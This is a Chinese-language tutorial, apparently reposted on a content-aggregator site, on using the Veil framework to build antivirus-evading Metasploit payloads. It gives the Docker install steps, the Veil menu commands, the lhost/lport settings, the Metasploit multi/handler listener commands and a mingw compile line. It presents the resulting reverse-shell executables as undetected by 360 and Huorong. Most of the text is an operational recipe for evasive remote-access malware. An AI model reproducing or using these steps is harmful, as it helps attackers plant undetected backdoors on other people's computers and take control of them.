0x01 免殺能力一覽表

• 1、下表中標識 √ 說明相應殺毒軟件未檢測出病毒，也就是代表了Bypass。
• 2、為了更好的對比效果，大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
• 3、由于本機測試時只是安裝了360全家桶和火絨，所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2019.12.12)，火絨版本5.0.33.13(2019.12.12)，360安全衛士12.0.0.2001(2019.12.17)。
• 4、其他殺軟的檢測指標是在virustotal.com（簡稱VT）上在線查殺，所以可能只是代表了靜態查殺能力，數據僅供參考，不足以作為免殺的精確判斷指標。

0x02 前言

Veil、Venom和Shellter是三大老牌免殺工具，雖然說人怕出名豬怕壯，但目前這幾款免殺工具在擴展性和免殺能力方面依然有著不錯的表現。

Veil-Evasion是一個用python寫的免殺框架，可以將任意腳本或一段shellcode轉換成Windows可執行文件，還能利用Metasploit框架生成相兼容的Payload工具，從而逃避了常見防病毒產品的檢測。

0x03 安裝Veil

常規安裝失敗

veil地址：https://github.com/Veil-Framework/Veil

安裝參考https://www.freebuf.com/sectool/89024.html

kali快速安裝

apt -y install veil /usr/share/veil/config/setup.sh --force --silent

看起來沒什么問題，但后來在執行的時候各種出錯，依賴包各種出問題，無論是快速安裝還是常規手工安裝都沒能解決。網上也有很多人吐槽安裝比較繁雜，出現各種狀況，但也有的系統安全比較順利。

后來，發現有人做好了veil的docker鏡像，簡單便捷，一鍵運行。

Docker安裝

安裝docker

apt-get install docker docker-compose

安裝完成后啟動：

service docker start

在kali里安裝docker后，添加docker加速鏡像地址vi /etc/docker/daemon.json

{"registry-mirrors": ["https://1nj0zren.mirror.aliyuncs.com","https://docker.mirrors.ustc.edu.cn","http://f1361db2.m.daocloud.io","https://registry.docker-cn.com"] }

然后重啟docker服務

systemctl daemon-reload systemctl restart docker

拉取veil鏡像

docker pull mattiasohlsson/veil

拉取成功后，執行

docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

-v /tmp/veil-output:/var/lib/veil/output:Z是將宿主機的/tmp/veil-output目錄映射到docker里面，這樣veil生成的payload可以直接在宿主機里使用。

使用exit命令退出，使用下面命令查看container

docker ps -a

之后再進入鏡像可以在啟動鏡像后使用下面命令：

docker start -ai a323f16bcf59 （替換成自己查的ID)

運行起來后，之后再進入鏡像可以在啟動鏡像后使用下面命令

docker exec -it a323f16bcf59 （替換成自己查的ID) /bin/bash

執行veil命令可啟動,版本為3.1.1。

0x04 veil使用

veil有兩個免殺的工具，Evasion和Ordnance。
Ordnance可生成在Veil-Evasion中使用的shellcode，Evasion是用做文件免殺。
我們一般選擇Evasion：

Veil>: use 1 #選擇Evasion功能 Veil/Evasion>: list #查看payload列表

使用list可以看到到41種stager

推薦使用以go和ruby語言encode的編碼方式。像python這類的與用戶有較高的交互就容易被查殺。

veil原理可以參考這篇文章：https://xz.aliyun.com/t/4191

1、使用veil直接生成exe

veil可以直接生成支持msf的payload，我們先試一下看看效果。
我們使用go語言生成msf的payload

Veil/Evasion>: use 16

設置好msf的監聽主機和端口就可以，下圖所示

set lhost 192.169.128.142 set lport 5555 generate

然后再設定好生成的payload的名稱，我這里就用go_msf了

然后一堆編碼編譯之后，就生成payload了

因為之前已經做過映射，所以在宿主機的/tmp/veil-output/compiled/目錄可直接看到生成的exe文件。
在msf中監聽:

use multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lport 3334 msf5 exploit(multi/handler) > set lport 10.211.55.2 msf5 exploit(multi/handler) > exploit

在測試主機執行go_msf.exe，發現msf中可上線

而此時是正常打開360和火絨的

Veil真NB！
雖然查殺率還比較高，不過火絨和360都能靜態+動態免殺。比較遺憾的是生成的exe文件比較大，go語言生成的exe大約2M,python生成的exe大約4M，ruby生成的exe大約700K，相比msf原生態的exe大打多了。

2、使用veil+mingw-w64

先用veil生成shellcode

use 7

[c/meterpreter/rev_tcp>>]: set lhost 192.168.142.134 [c/meterpreter/rev_tcp>>]: set lport 5555 [c/meterpreter/rev_tcp>>]: generate

輸入生成文件名為c_msf

文件在/tmp/veil-output/source文件夾下
先生成一個可以被 msf 利用的 c_msf.c 然后用mingw-w64 來編譯
mingw-w64的安裝可參考https://zhuanlan.zhihu.com/p/76613134

gcc -o payload.exe c_msf.c -l ws2_32

運行生成的payload.exe文件，msf成功上線

全程開啟360衛士和殺毒以及火絨，編譯、運行、上線都沒有問題。

0x05 小結

veil功能還是很強大的，生成的shellcode自身免殺能力就不錯，而且支持多種語言的shellcode編譯打包，和msf及cs可以無縫對接，值得人好好研究一下。三大老牌免殺工具不是浪得虛名的

0x06 參考整理

使用veil繞過殺軟：https://blog.csdn.net/wyf12138/article/details/79825833

免殺后門之MSF&Veil-Evasion的完美結合http://www.secist.com/archives/1107.html

APT級的全面免殺:https://xz.aliyun.com/t/4191

總結

以上是生活随笔為你收集整理的远控免杀5---Veil免杀的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。